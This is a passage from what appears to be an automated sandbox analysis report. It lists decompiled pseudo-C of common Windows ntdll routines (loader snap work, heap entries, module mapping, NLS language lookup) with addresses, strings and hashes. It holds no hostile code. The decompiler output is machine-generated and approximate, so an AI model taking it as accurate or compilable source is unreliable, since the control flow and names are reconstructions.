														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E01292280(_t92, 0x13686cc);
															_t94 = E01349DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E012A61A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0x1365c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E01288A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0x1365c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0x1365c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E012BF380(_t136, 0x1251184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E01292280(_t108, 0x13686cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E012A61A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E01349D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E0128FFB0(_t118, _t156, 0x13686cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E012B9A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x01288799
0x0128879d
0x012887a1
0x012887a3
0x012887a8
0x012887c3
0x012887c3
0x012887c8
0x012887d1
0x012887d4
0x012887d8
0x012887e5
0x012887ec
0x012d9bfe
0x012d9c00
0x012d9c02
0x012d9c08
0x012d9c0d
0x012d9c0f
0x012d9c14
0x012d9c2d
0x012d9c32
0x012d9c37
0x012d9c3a
0x012d9c3c
0x012d9c42
0x012d9c42
0x012d9c3c
0x012d9c02
0x012887da
0x012887df
0x012887e3
0x00000000
0x00000000
0x012887e3
0x012887f2
0x00000000
0x012887fb
0x012887fd
0x012887fe
0x0128880e
0x0128880f
0x01288810
0x01288814
0x0128881a
0x0128881c
0x0128881f
0x01288821
0x01288822
0x01288824
0x01288826
0x0128882c
0x0128882e
0x012d9c48
0x012d9c48
0x01288834
0x01288834
0x01288837
0x00000000
0x00000000
0x01288837
0x0128882e
0x0128883d
0x01288840
0x01288843
0x01288846
0x01288849
0x0128884c
0x0128884e
0x01288850
0x01288852
0x01288854
0x01288857
0x012888b4
0x012888b6
0x012888b6
0x01288859
0x01288859
0x01288859
0x01288861
0x01288866
0x0128886a
0x0128893d
0x01288941
0x00000000
0x01288947
0x01288947
0x0128894a
0x0128894c
0x00000000
0x01288952
0x01288955
0x0128895a
0x0128895d
0x0128895d
0x0128895f
0x01288961
0x01288961
0x01288968
0x00000000
0x00000000
0x0128896a
0x0128896b
0x0128896e
0x00000000
0x01288970
0x01288970
0x01288970
0x01288970
0x01288972
0x01288972
0x01288974
0x00000000
0x0128897a
0x0128897a
0x0128897d
0x00000000
0x01288983
0x012d9c65
0x012d9c6d
0x012d9c72
0x012d9c75
0x012d9c75
0x012d9c82
0x012d9c86
0x012d9c87
0x012d9c88
0x012d9c89
0x012d9c8c
0x012d9c90
0x012d9c95
0x012d9c97
0x012d9ca0
0x012d9ca3
0x012d9ca9
0x012d9ca9
0x00000000
0x012d9ca9
0x012d9ca3
0x00000000
0x012d9c97
0x0128897d
0x00000000
0x01288974
0x01288988
0x01288992
0x01288996
0x00000000
0x01288996
0x0128894c
0x00000000
0x01288870
0x0128887b
0x0128887d
0x0128887f
0x01288881
0x01288884
0x01288884
0x01288886
0x01288889
0x0128888c
0x0128888e
0x01288891
0x01288891
0x01288898
0x00000000
0x00000000
0x0128889a
0x0128889b
0x0128889e
0x00000000
0x00000000
0x012888a0
0x012888a8
0x012888b0
0x012888b2
0x012888d3
0x012888d5
0x00000000
0x012888d7
0x012888db
0x012888dc
0x012888e0
0x012888e8
0x012888ee
0x012888f0
0x012888f3
0x012888fc
0x01288901
0x01288906
0x0128890c
0x0128890c
0x0128890f
0x01288916
0x01288917
0x01288918
0x01288919
0x0128891a
0x0128891f
0x01288921
0x012d9c52
0x012d9c55
0x012d9c5b
0x012d9cac
0x012d9cc0
0x012d9cc0
0x012d9c55
0x01288927
0x01288927
0x0128892f
0x01288933
0x00000000
0x012888f5
0x012888f5
0x00000000
0x012888f7
0x012888f7
0x012888fa
0x00000000
0x00000000
0x00000000
0x00000000
0x012888fa
0x012888f5
0x012888f3
0x00000000
0x012888d5
0x00000000
0x012888b2
0x012888c9
0x00000000
0x012888c9
0x0128887f
0x0128886a
0x01288857
0x01288852
0x012888bf
0x012888bf
0x012887aa
0x012887ad
0x012887ae
0x012887b4
0x012887b5
0x012887b6
0x012887b8
0x012887bd
0x012887c1
0x012887f4
0x012887fa
0x00000000
0x00000000
0x00000000
0x012887c1
0x00000000

Strings

LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 012D9C18
minkernel\ntdll\ldrsnap.c, xrefs: 012D9C28
LdrpDoPostSnapWork, xrefs: 012D9C1E

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 2994545307-1948996284
Opcode ID: 9a43bee80cd97ed5ad41bd096f4b4ec069a383470339239f4152dd0425a93649
Instruction ID: a98091d7550f80e63ac60e4a30980e2a74fb9949bb9dceb0042b141629c66c7e
Opcode Fuzzy Hash: 9a43bee80cd97ed5ad41bd096f4b4ec069a383470339239f4152dd0425a93649
Instruction Fuzzy Hash: 79910431A3220BDFEF18EF59D481ABAB7B5FF44314B844169EA05AB291D730ED41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0129B73D, Relevance: 3.9, Strings: 3, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E0129B73D(void* __ecx, signed int __edx, intOrPtr* _a4, unsigned int _a8, intOrPtr _a12, signed int* _a16) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t72;
				char _t76;
				signed char _t77;
				intOrPtr* _t80;
				unsigned int _t85;
				signed int* _t86;
				signed int _t88;
				signed char _t89;
				intOrPtr _t90;
				intOrPtr _t101;
				intOrPtr* _t111;
				void* _t117;
				intOrPtr* _t118;
				signed int _t120;
				signed char _t121;
				intOrPtr* _t123;
				signed int _t126;
				intOrPtr _t136;
				signed int _t139;
				void* _t140;
				signed int _t141;
				void* _t147;

				_t111 = _a4;
				_t140 = __ecx;
				_v8 = __edx;
				_t3 = _t111 + 0x18; // 0x0
				 *((intOrPtr*)(_t111 + 0x10)) = _t3;
				_t5 = _t111 - 8; // -32
				_t141 = _t5;
				 *(_t111 + 0x14) = _a8;
				_t72 = 4;
				 *(_t141 + 2) = 1;
				 *_t141 = _t72;
				 *((char*)(_t141 + 7)) = 3;
				_t134 =  *((intOrPtr*)(__edx + 0x18));
				if( *((intOrPtr*)(__edx + 0x18)) != __edx) {
					_t76 = (_t141 - __edx >> 0x10) + 1;
					_v12 = _t76;
					__eflags = _t76 - 0xfe;
					if(_t76 >= 0xfe) {
						_push(__edx);
						_push(0);
						E0133A80D(_t134, 3, _t141, __edx);
						_t76 = _v12;
					}
				} else {
					_t76 = 0;
				}
				 *((char*)(_t141 + 6)) = _t76;
				if( *0x1368748 >= 1) {
					__eflags = _a12 - _t141;
					if(_a12 <= _t141) {
						goto L4;
					}
					_t101 =  *[fs:0x30];
					__eflags =  *(_t101 + 0xc);
					if( *(_t101 + 0xc) == 0) {
						_push("HEAP: ");
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push("((PHEAP_ENTRY)LastKnownEntry <= Entry)");
					E0127B150();
					__eflags =  *0x1367bc8;
					if(__eflags == 0) {
						E01332073(_t111, 1, _t140, __eflags);
					}
					goto L3;
				} else {
					L3:
					_t147 = _a12 - _t141;
					L4:
					if(_t147 != 0) {
						 *((short*)(_t141 + 4)) =  *((intOrPtr*)(_t140 + 0x54));
					}
					if( *((intOrPtr*)(_t140 + 0x4c)) != 0) {
						 *(_t141 + 3) =  *(_t141 + 1) ^  *(_t141 + 2) ^  *_t141;
						 *_t141 =  *_t141 ^  *(_t140 + 0x50);
					}
					_t135 =  *(_t111 + 0x14);
					if( *(_t111 + 0x14) == 0) {
						L12:
						_t77 =  *((intOrPtr*)(_t141 + 6));
						if(_t77 != 0) {
							_t117 = (_t141 & 0xffff0000) - ((_t77 & 0x000000ff) << 0x10) + 0x10000;
						} else {
							_t117 = _t140;
						}
						_t118 = _t117 + 0x38;
						_t26 = _t111 + 8; // -16
						_t80 = _t26;
						_t136 =  *_t118;
						if( *((intOrPtr*)(_t136 + 4)) != _t118) {
							_push(_t118);
							_push(0);
							E0133A80D(0, 0xd, _t118,  *((intOrPtr*)(_t136 + 4)));
						} else {
							 *_t80 = _t136;
							 *((intOrPtr*)(_t80 + 4)) = _t118;
							 *((intOrPtr*)(_t136 + 4)) = _t80;
							 *_t118 = _t80;
						}
						_t120 = _v8;
						 *((intOrPtr*)(_t120 + 0x30)) =  *((intOrPtr*)(_t120 + 0x30)) + 1;
						 *((intOrPtr*)(_t120 + 0x2c)) =  *((intOrPtr*)(_t120 + 0x2c)) + ( *(_t111 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t140 + 0x1e8)) =  *((intOrPtr*)(_t140 + 0x1e8)) -  *(_t111 + 0x14);
						 *((intOrPtr*)(_t140 + 0x1f8)) =  *((intOrPtr*)(_t140 + 0x1f8)) + 1;
						if( *((intOrPtr*)(_t140 + 0x1f8)) > 0xa) {
							__eflags =  *(_t140 + 0xb8);
							if( *(_t140 + 0xb8) == 0) {
								_t88 =  *(_t140 + 0x40) & 0x00000003;
								__eflags = _t88 - 2;
								_t121 = _t120 & 0xffffff00 | _t88 == 0x00000002;
								__eflags =  *0x1368720 & 0x00000001;
								_t89 = _t88 & 0xffffff00 | ( *0x1368720 & 0x00000001) == 0x00000000;
								__eflags = _t89 & _t121;
								if((_t89 & _t121) != 0) {
									 *(_t140 + 0x48) =  *(_t140 + 0x48) | 0x10000000;
								}
							}
						}
						_t85 =  *(_t111 + 0x14);
						if(_t85 >= 0x7f000) {
							 *((intOrPtr*)(_t140 + 0x1ec)) =  *((intOrPtr*)(_t140 + 0x1ec)) + _t85;
						}
						_t86 = _a16;
						 *_t86 = _t141 - _a12 >> 3;
						return _t86;
					} else {
						_t90 = E0129B8E4(_t135);
						_t123 =  *((intOrPtr*)(_t90 + 4));
						if( *_t123 != _t90) {
							_push(_t123);
							_push( *_t123);
							E0133A80D(0, 0xd, _t90, 0);
						} else {
							 *_t111 = _t90;
							 *((intOrPtr*)(_t111 + 4)) = _t123;
							 *_t123 = _t111;
							 *((intOrPtr*)(_t90 + 4)) = _t111;
						}
						_t139 =  *(_t140 + 0xb8);
						if(_t139 != 0) {
							_t93 =  *(_t111 + 0x14) >> 0xc;
							__eflags = _t93;
							while(1) {
								__eflags = _t93 -  *((intOrPtr*)(_t139 + 4));
								if(_t93 <  *((intOrPtr*)(_t139 + 4))) {
									break;
								}
								_t126 =  *_t139;
								__eflags = _t126;
								if(_t126 != 0) {
									_t139 = _t126;
									continue;
								}
								_t93 =  *((intOrPtr*)(_t139 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t139 + 4)) - 1;
								break;
							}
							E0129E4A0(_t140, _t139, 0, _t111, _t93,  *(_t111 + 0x14));
						}
						goto L12;
					}
				}
			}

0x0129b746
0x0129b74b
0x0129b74d
0x0129b750
0x0129b755
0x0129b758
0x0129b758
0x0129b75e
0x0129b763
0x0129b764
0x0129b76a
0x0129b76d
0x0129b771
0x0129b776
0x0129b85c
0x0129b85d
0x0129b860
0x0129b865
0x012e2ba1
0x012e2ba2
0x012e2ba9
0x012e2bae
0x012e2bae
0x0129b77c
0x0129b77c
0x0129b77c
0x0129b785
0x0129b788
0x012e2bb6
0x012e2bb9
0x00000000
0x00000000
0x012e2bbf
0x012e2bc5
0x012e2bc9
0x012e2be8
0x012e2bed
0x012e2bcb
0x012e2be0
0x012e2be5
0x012e2bf3
0x012e2bf8
0x012e2bfd
0x012e2c05
0x012e2c0e
0x012e2c0e
0x00000000
0x0129b78e
0x0129b78e
0x0129b78e
0x0129b791
0x0129b791
0x0129b797
0x0129b797
0x0129b79f
0x0129b7a9
0x0129b7af
0x0129b7af
0x0129b7b1
0x0129b7b6
0x0129b7e2
0x0129b7e2
0x0129b7e7
0x0129b880
0x0129b7ed
0x0129b7ed
0x0129b7ed
0x0129b7ef
0x0129b7f2
0x0129b7f2
0x0129b7f5
0x0129b7fa
0x012e2c2d
0x012e2c2e
0x012e2c39
0x0129b800
0x0129b800
0x0129b802
0x0129b805
0x0129b808
0x0129b808
0x0129b80a
0x0129b80d
0x0129b816
0x0129b81c
0x0129b822
0x0129b82f
0x0129b88b
0x0129b892
0x0129b897
0x0129b899
0x0129b89b
0x0129b89e
0x0129b8a5
0x0129b8a8
0x0129b8aa
0x0129b8ac
0x0129b8ac
0x0129b8aa
0x0129b892
0x0129b831
0x0129b839
0x0129b83b
0x0129b83b
0x0129b844
0x0129b84b
0x0129b852
0x0129b7b8
0x0129b7ba
0x0129b7bf
0x0129b7c4
0x012e2c18
0x012e2c19
0x012e2c23
0x0129b7ca
0x0129b7ca
0x0129b7cc
0x0129b7cf
0x0129b7d1
0x0129b7d1
0x0129b7d4
0x0129b7dc
0x0129b8bb
0x0129b8bb
0x0129b8be
0x0129b8be
0x0129b8c1
0x00000000
0x00000000
0x0129b8c3
0x0129b8c5
0x0129b8c7
0x0129b8e0
0x00000000
0x0129b8e0
0x0129b8cc
0x0129b8cc
0x00000000
0x0129b8cc
0x0129b8d6
0x0129b8d6
0x00000000
0x0129b7dc
0x0129b7b6

Strings

((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 012E2BF3
HEAP: , xrefs: 012E2BE8
HEAP[%wZ]: , xrefs: 012E2BDB

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: 1cad53994c048216c67df159bb35cd3e8096c1cf0550af93f0ecb99a011dadab
Instruction ID: d645d95724646f4557efd7d0e673c5f6e127d36a4901c2471fa10303aeaabe14
Opcode Fuzzy Hash: 1cad53994c048216c67df159bb35cd3e8096c1cf0550af93f0ecb99a011dadab
Instruction Fuzzy Hash: C6619C71620206DFDB29CF2CD485BAABBE5FF48304F18855DE94A8F251D770E891CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01287E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E01287E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E0128CEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E0127C9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x1365780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E012F5510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x1365780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E01297D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E01297D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E012F7016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E01297D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E01297D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E012F7016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E012AA1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E0127B1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x01287e4c
0x01287e50
0x01287e55
0x01287e58
0x01287e5d
0x01287e71
0x01287f33
0x01287e77
0x01287e77
0x01287e79
0x01287e79
0x01287e7e
0x01287f45
0x012d9848
0x00000000
0x012d9848
0x01287f4e
0x01287f53
0x01287f5a
0x00000000
0x00000000
0x012d985a
0x012d9862
0x012d9866
0x00000000
0x012d986c
0x00000000
0x012d986c
0x01287e84
0x01287e84
0x01287e8d
0x012d9871
0x01287eb8
0x01287ec0
0x01287ec0
0x01287e9a
0x012d987e
0x00000000
0x00000000
0x012d9884
0x012d988b
0x012d98a7
0x012d98ac
0x012d98b1
0x012d98b6
0x012d98b8
0x012d98b8
0x012d98b9
0x00000000
0x012d98b9
0x01287ea0
0x01287ea7
0x00000000
0x00000000
0x01287eac
0x01287eb1
0x01287ec6
0x01287ed0
0x012d98cc
0x01287ed6
0x01287ed6
0x01287ed6
0x01287ede
0x01287ee3
0x012d98e3
0x012d98f0
0x012d9902
0x012d98f2
0x012d98fb
0x012d98fb
0x012d9907
0x012d991d
0x012d991d
0x012d9907
0x012d98e3
0x01287ef0
0x01287f14
0x01287f14
0x01287f1e
0x012d9946
0x01287f24
0x01287f24
0x01287f24
0x01287f2c
0x012d996a
0x012d9975
0x012d9975
0x012d997e
0x012d9993
0x012d9993
0x012d997e
0x00000000
0x01287ef2
0x01287efc
0x01287f0a
0x01287f0e
0x012d9933
0x00000000
0x012d9933
0x00000000
0x01287f0e
0x00000000
0x00000000
0x00000000
0x01287eb1

Strings

minkernel\ntdll\ldrmap.c, xrefs: 012D98A2
Could not validate the crypto signature for DLL %wZ, xrefs: 012D9891
LdrpCompleteMapModule, xrefs: 012D9898

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: e8e4363de2bd85a2925530e0a775ade6263f18ceff87273d42d6b81ba0e53c5a
Instruction ID: dc76f75f754480e9e0ec96fb5718bdfc8c269c559247608e80519518cfb21924
Opcode Fuzzy Hash: e8e4363de2bd85a2925530e0a775ade6263f18ceff87273d42d6b81ba0e53c5a
Instruction Fuzzy Hash: C3512331631742DBEB22DB6CC885B6ABBE4AF01718F2405A9FA519B7D1C774ED40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0127E620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0127E620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E0127F358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E012B95D0();
						}
						if(_t78 != 0) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E012BFA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E012BBB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E012B9600();
					if(_t97 < 0) {
						goto L6;
					}
					E012BBB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L0127F018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E012BBB40(_t83, _t102 + 0x24, _t78);
								if(L012843C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E012BBB40(_t84, _t102 + 0x24, _t94);
									if(L012843C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x0127e620
0x0127e628
0x0127e62f
0x0127e631
0x0127e635
0x0127e637
0x0127e63e
0x012d5503
0x012d5503
0x0127e64c
0x0127e64c
0x0127e651
0x00000000
0x00000000
0x0127e661
0x0127e665
0x012d542a
0x0127e715
0x0127e71a
0x0127e71c
0x0127e720
0x0127e720
0x0127e727
0x0127e736
0x0127e736
0x0127e743
0x0127e743
0x0127e673
0x0127e678
0x0127e67d
0x0127e682
0x0127e685
0x0127e692
0x0127e69b
0x0127e6a3
0x0127e6ad
0x0127e6b1
0x0127e6b2
0x0127e6bb
0x0127e6bf
0x0127e6c0
0x0127e6c8
0x0127e6cc
0x0127e6d5
0x0127e6d9
0x00000000
0x00000000
0x0127e6e5
0x0127e6ea
0x0127e6f9
0x0127e70b
0x0127e70f
0x012d5439
0x012d545e
0x012d545e
0x00000000
0x012d545e
0x012d543b
0x012d543e
0x012d5440
0x012d5445
0x012d5472
0x012d5475
0x012d548d
0x012d5493
0x012d54a9
0x00000000
0x00000000
0x012d54ab
0x012d54b4
0x012d54bc
0x012d54c8
0x012d54de
0x012d54fb
0x012d54e0
0x012d54e6
0x012d54eb
0x012d54eb
0x012d54de
0x00000000
0x012d54bc
0x012d5477
0x012d547a
0x012d5480
0x012d5483
0x012d5486
0x012d548b
0x00000000
0x00000000
0x00000000
0x012d548b
0x00000000
0x00000000
0x00000000
0x00000000
0x012d5447
0x012d5447
0x012d5447
0x012d5447
0x012d544e
0x00000000
0x00000000
0x012d5450
0x012d5452
0x012d5455
0x012d545a
0x00000000
0x00000000
0x00000000
0x012d545c
0x012d546a
0x012d546d
0x012d546f
0x00000000
0x012d546f
0x0127e70f

Strings

\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 0127E68C
@, xrefs: 0127E6C0
InstallLanguageFallback, xrefs: 0127E6DB

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: c6bd95342250c6c5a0955aa7b8753b67e9d962e584437c9206a3a042690f14f1
Instruction ID: f257b109df944b96c835bf4434f6550d109c63bdfe4fdfacfa5e4bc92ecfeb1d
Opcode Fuzzy Hash: c6bd95342250c6c5a0955aa7b8753b67e9d962e584437c9206a3a042690f14f1
Instruction Fuzzy Hash: FD51BE726283469BD724DF28C480ABBB7E8EF88754F45096EFA85D7240F774D90487A2

Uniqueness

Uniqueness Score: -1.00%

Function 0129B8E4, Relevance: 3.8, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E0129B8E4(unsigned int __edx) {
				void* __ecx;
				void* __edi;
				intOrPtr* _t16;
				intOrPtr _t18;
